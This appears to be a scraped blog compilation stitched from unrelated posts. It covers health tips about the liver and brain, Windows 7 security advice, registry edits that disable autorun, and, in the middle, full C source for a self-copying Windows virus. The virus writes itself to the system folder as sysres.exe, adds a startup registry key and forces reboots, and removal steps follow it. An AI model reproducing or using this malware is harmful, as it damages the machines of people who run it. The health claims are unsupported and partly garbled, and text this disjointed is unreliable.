1. Sleeping too late and waking up too late are main cause.
2. Not urinating in the morning.
3. Too much eating.
4. Skipping breakfast.
5. Consuming too much medication.
6. Consuming too much preservatives, additives, food coloring, and artificial sweetener.
7. Consuming unhealthy cooking oil. As much as possible reduce cooking oil use when frying, which includes even the best cooking oils like olive oil. Do not consume fried foods when you are tired, except if the body is very fit..
8. Consuming raw (overly done) foods also add to the burden of liver. Veggies should be eaten raw or cooked 3-5 parts. Fried veggies should be finished in one sitting, do not store.

We should prevent this without necessarily spending more. We just have to adopt a good daily lifestyle and eating habits. Maintaining good eating habits and time condition are very important for our bodies to absorb and get rid of unnecessary chemicals according to ‘schedule.’

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Brain is very important organ and we should take care of it. We are damaging our brain on daily basis by doing following things.

1. No Breakfast

People who do not take breakfast are going to have a lower blood sugar level. This leads to an insufficient supply of nutrients to the brain causing brain degeneration.


2. Overeating

It causes hardening of the brain arteries, leading to a decrease in mental power.


3. Smoking

It causes multiple brain shrinkage and may lead to Alzheimer disease.


4. High Sugar consumption

Too much sugar will interrupt the absorption of proteins and nutrients causing malnutrition and may interfere with brain development.


5. Air Pollution

The brain is the largest oxygen consumer in our body. Inhaling polluted air decreases the supply of oxygen to the brain, bringing about a decrease in brain efficiency.


6. Sleep Deprivation

Sleep allows our brain to rest… Long term deprivation from sleep will accelerate the death ofbrain cells..


7. Head covered while sleeping

Sleeping with the head covered increases the concentration of carbon dioxide and decrease concentration of oxygen that may lead to brain damaging effects.


8. Working your brain during illness

Working hard or studying with sickness may lead to a decrease in effectiveness of the brain as well as damage the brain.


9. Lacking in stimulating thoughts

Thinking is the best way to train our brain, lacking in brain stimulation thoughts may cause brain shrinkage.


10. Talking Rarely

Intellectual conversations will promote the efficiency of the brain

Above mentioned things should be avoided to utilize brain at maximum output.

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Originally posted here: 
Kaspersky Anti-Virus:One of the first security suite for Windows 7 …

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Originally posted here:
Disable Windows 7 feature which you don't need

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Read more:
Microsoft Responded To Sophos Windows 7 Vulnerability Claim …

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See the original post:
Free PDF: Microsoft Windows Server 2003 | Free ebook manual …

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How to disable autorun(.inf) to prevent autorun Trojan
To disable Autorun system wide (for all users) on all the drives:
save the following script as .reg -file and double-click it (melt it with registry)

======================================================Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]"HonorAutoRunSetting"=dword:00000001"NoDriveTypeAutoRun"=dword:000000ff

=======================================================

You may find it a bit annoying to have it disabled on the CD drives, to

disable Autorun on all but CD drives use this:

======================================================Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]"HonorAutoRunSetting"=dword:00000001"NoDriveTypeAutoRun"=dword:000000df

=======================================================

Or simple open notepad and paste following in it

REGEDIT4[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf]@="@SYS:DoesNotExist"

save it as autorunfix.reg and then run it as administrator

You can also contact me to get this file, I’ll email you the file..

Now windows will never recognize autorun.inf file

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Source Code:

#include<stdio.h>

#include<dos.h>

#include<dir.h> /If you get error, try using direct.h, if still you get error try compiling it in windows xp

int found,drive_no;char buff[128];

void findroot()

{

int done;

struct ffblk ffblk; //File block structure

done=findfirst("C:\\windows\\system",&ffblk,FA_DIREC); //to determine the root drive

if(done==0)

{

done=findfirst("C:\\windows\\system\\sysres.exe",&ffblk,0); //to determine whether the virus is already installed or not

if(done==0)

{

found=1; //means that the system is already infected

return;

}

drive_no=1;

return;

}

done=findfirst("D:\\windows\\system",&ffblk,FA_DIREC);

if(done==0)

{

done=findfirst("D:\\windows\\system\\sysres.exe",&ffblk,0);

if

(done==0)

{

found=1;return;

}

drive_no=2;

return;

}

done=findfirst("E:\\windows\\system",&ffblk,FA_DIREC);

if(done==0)

{

done=findfirst("E:\\windows\\system\\sysres.exe",&ffblk,0);

if(done==0)

{

found=1;

return;

}

drive_no=3;

return;

}

done=findfirst("F:\\windows\\system",&ffblk,FA_DIREC);

if(done==0)

{

done=findfirst("F:\\windows\\system\\sysres.exe",&ffblk,0);

if(done==0)

{

found=1;

return;

}

drive_no=4;

return;

}

else

exit(0);

}

void main()

{

FILE *self,*target;

findroot();

if(found==0) //if the system is not already infected

{

self=fopen(_argv[0],”rb”); //The virus file open’s itself

switch(drive_no)

{

case 1:

target=fopen("C:\\windows\\system\\sysres.exe","welcome back"); //to place a copy of itself in a remote place

system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\ sysres.exe"); //put this file to registry for starup

break;

case 2:

target=fopen("D:\\windows\\system\\sysres.exe","welcome back");

system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/dD:\\windows\\system\\sysres.exe");

break;

case 3:

target=fopen("E:\\windows\\system\\sysres.exe","welcome back");

system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/dE:\\windows\\system\\sysres.exe");

break;

case 4:

target=fopen("F:\\windows\\system\\sysres.exe","welcome back");

system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/dF:\\windows\\system\\sysres.exe");

break;

default:

exit(0);

}

while(fread(buff,1,1,self)>0)

fwrite(buff,1,1,target);

fcloseall();

}

else

system("shutdown -r -t 0"); //if the system is already infected then just give a command to restart

}

How to recover/remove the virus:

1) Open up PC in safe mode

2) C:\windows:\system … you will find it(sysres) so delete it !

3) open registry :

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

4) You will find it also delete it …

If anything else goes wrong, feel free to contact me

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Microsoft is NO Exception.

One of the major problems with earlier version of Microsoft Windows was that a user had to apply a number of security templates, tweaks, registry edits, etc. to bring it to a safe state. Now, Microsoft delivers a secure out of the box product, Windows 7. Microsoft Windows 7 comes with built-in security features to make the product highly secure and usable, depending on what the user requires, without the need to apply any sort of templates or patches.

Apart from in-built security, top 5 ways to secure Windows 7 and to increase the level of security are:

1. Enable BitLocker

BitLocker is a driver encryption utility that allows you to encrypt any drive, including boot sector, system area, or any other removable devices like USB drives. In windows explorer, right click the drive you want to encrypt and BitLocker will provide you a combination of security measures like PIN, smart card, password and TMP (Trusted Platform Module) chip to encrypt the drive. It supports all types of volumes like FAT, FAT32, NTFS and Extended Fat.

However, you should be cautious while using BitLocker because if you forget the password, BitLocker will scramble your device. It’s better to backup your data in some other media before encrypting the drive.

2. User Account Control Settings

Windows Vista must be familiar with UAC (User Account Control) setting that was the most annoying part of Vista, where one has to grant permission for every accessed program. In Windows 7, a new UAC slider has been introduced to control the level of security. Raise the bar to increase the security, and it will always notify you if the program runs and lower the bar to reduce the security and you will never be notified. The best part is that even in the highest security mode, you will be notified fewer times in comparison to Windows Vista.

3. Update Windows

By default, Microsoft Windows 7 allows for critical updates only. According to a study, Microsoft releases too many patches for its software. Therefore, you should manually configure the settings to allow for all updates as hackers usually attack systems that are more vulnerable to attacks.

4. Install Anti-Spam and Anti-Malware

The biggest threat to Microsoft Windows is the Trojan horse that fakes to look like Outlook Express, movie codecs, videos, etc. A Trojan horse takes control of the PC by installing malware and other malicious code on the system without the user’s permission. This is done to steal important information and send it back to the intruder.

To get rid of such crap, you need to install anti-malware and anti-spam software’s that are genuine and reliable. You should always download such software’s from a trusted website.

5. Enable SmartScreen filter in Internet Explorer 8

Microsoft has introduced a complete new version of internet explorer that seems to be smarter than earlier versions. It comes preloaded with set of features like SmartScreen filter or Private Filtering to keep the internet experience safe and secure. The smartscreen feature checks every website against a database to make sure that the website being surfed has earlier been marked as malicious or legitimate. Internet explorer 8 users must enable this option to make their browsing safe and secure.

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